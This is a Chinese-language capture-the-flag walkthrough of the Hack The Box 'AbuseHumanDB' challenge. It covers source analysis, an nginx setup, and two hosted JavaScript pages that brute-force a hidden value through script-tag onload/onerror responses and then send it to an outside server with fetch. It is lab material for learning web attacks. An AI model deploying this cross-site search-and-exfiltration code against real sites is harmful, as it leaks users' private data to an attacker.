加作者微信,邀请进交流群。
本文为作者前期作品,发布在Freebuf。
前言
有对HTB感兴趣的同学可以关注公众号呦!后续我会持续更新哒~
信息收集
访问网站,查看页面基本信息
存在2个请求
1》/api/entries
输入非url的字符,控制台报错
输入url,控制台无回显,无利用思路
2》/api/entries/search?q=
输入任意字符,响应码为404,无利用思路
代码分析
1》Database.js文件
userEntries表中存储有flag值。
查询approved=0时,方可展示该条包含flag的数据。字段title的组成为HTB{*********}。
查询approved=1,且title模糊查询”Back”,可查询出包含”Back”的字符串完整sql语句。
那么什么时候approved=0?
2》index.js文件,listEntries函数,满足approved=0
查看index.js文件,listEntries函数代码
使approved=0,需listEntries函数参数为0。即通过发送/api/entries这一get请求,满足url请求数据中ip为127.0.0.1且请求头中host为127.0.0.1:1337,可查询出包含该条flag的sql语句
3》index.js文件,getEntry函数,满足approved=0
利用getEntry函数,通过approved=0且title=HTB{*******}可查询出包含该条flag的sql语句。title值可通过模糊查询传入,查询存在则展示该条数据,不存在则控制台异常报错。
/api/entries/search请求,可进入getEntry函数。title值通过getEntry的参数q来传入,q参数值可通过暴力破解来猜测。猜测正确则可得到flag,猜测错误在控制台可见异常报错内容。
如何使得展示包含flag的sql语句运行?
综上:
1.请求url http://127.0.0.1:1337/api/entries/search?q=HTB{*******}
2.请求头 ip:127.0.0.1
3.响应码为200时,q的值为flag的模糊搜索值。直至匹配出HTB{*******}
漏洞利用
Nginx环境搭建
自己的外网服务器搭建nginx环境,以被外网访问。
1》nginx安装与启动
安装nginx sudo apt-get -y install nginx
启动nginx sudo /etc/init.d/nginx start
访问外网网址,可见成功访问nginx环境
2》将脚本搭建在index.php使外网可访问
修改nginx默认网页内容/var/www/html/index.nginx-debian.html为自己期望的脚本代码
3》nginx访问日志
/var/log/nginx:存放日志
盲测approved=1
数据库title中包含”Back The Hox”
查询approved=1,且title模糊查询”Back”,可查询出包含”Back”的字符串完整sql语句
将以下代码搭建在自己的外网服务器
<html>
<script>
var ip = '161.35.173.232:32024'; // HTB Server IP Address
var flag = 'Back'; // init search word
var letters = '-+!@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_ :|()';
var url = 'http://'+ip+'/api/entries/search?q=';
async function getLetter(ch){
return new Promise((resolve, reject)=>{
const script = document.createElement("script");
script.src = url+encodeURIComponent(flag+ch);
script.onload = () => ch==='}' ? reject(ch):resolve(ch);
script.onerror = () => reject(ch);
document.head.appendChild(script);
});
}
async function getFullWord(letters) {
var b = false; var ch;
for(var i=0; i < letters.length; i++){
await getLetter(letters[i]).then((res) => {flag=flag.concat(res); b = res==='x' ? true:false; i=0} , (res)=> { } );
if(b) break;
}
fetch('http://121.4.69.174/flag='+flag, {method:'get'});
};
getFullWord(letters);
console.log('Flag is '+flag);
</script>
<html>
访问外网服务器该html的地址后,可见运行结果:
可见模糊测试出,approved=1的q数据为Back_The_box
继续模糊测试出,approved=1的q数据为
Drunk_Alien_Song___Patlamaya_Devam__official_video_
访问该url可查询出sql语句中title
当盲测出q数据时,会携带flag访问搭建的服务器地址,所以在access.log文件可见访问日志
由此证明只要使approved=0即可盲测出q数据,在access.log文件中可得flag。
盲测approved=0
要使approved=0,需满足请求url为http://127.0.0.1:1337/api/entries/search?q=HTB{*******},且请求头为 ip:127.0.0.1。
可编写脚本满足以上条件,将该脚本部署在自己的外网服务器上。使用htb网址访问该外网服务器的网址,使执行脚本内容,盲测出q值。
脚本内容:
<html>
<script>
var ip = '127.0.0.1:1337'; // HTB Server IP Address
var flag = 'HTB'; // init search word
var letters = '-+!@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_ :|()';
var url = 'http://'+ip+'/api/entries/search?q=';
async function getLetter(ch){
return new Promise((resolve, reject)=>{
const script = document.createElement("script");
script.src = url+encodeURIComponent(flag+ch);
script.onload = () => ch==='}' ? reject(ch):resolve(ch);
script.onerror = () => reject(ch);
document.head.appendChild(script);
});
}
async function getFullWord(letters) {
var b = false; var ch;
for(var i=0; i < letters.length; i++){
await getLetter(letters[i]).then((res) => {flag=flag.concat(res); b = res==='x' ? true:false; i=0} , (res)=> { } );
if(b) break;
}
fetch('http://121.4.69.174/flag='+flag, {method:'get'});
};
getFullWord(letters);
console.log('Flag is '+flag);
</script>
<html>
使用htb访问外网服务器url
间隔一定时间,查看外网服务器access.log文件可见flag内容
合抱之木,生于毫末。
九层之台,起于累土。
每一次努力和积累,都在为网络安全领域的发展贡献自己的一份力量。
感谢您一直以来的支持和关注!
加作者微信,邀请进交流群。
原文始发于微信公众号(安全女巫):【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论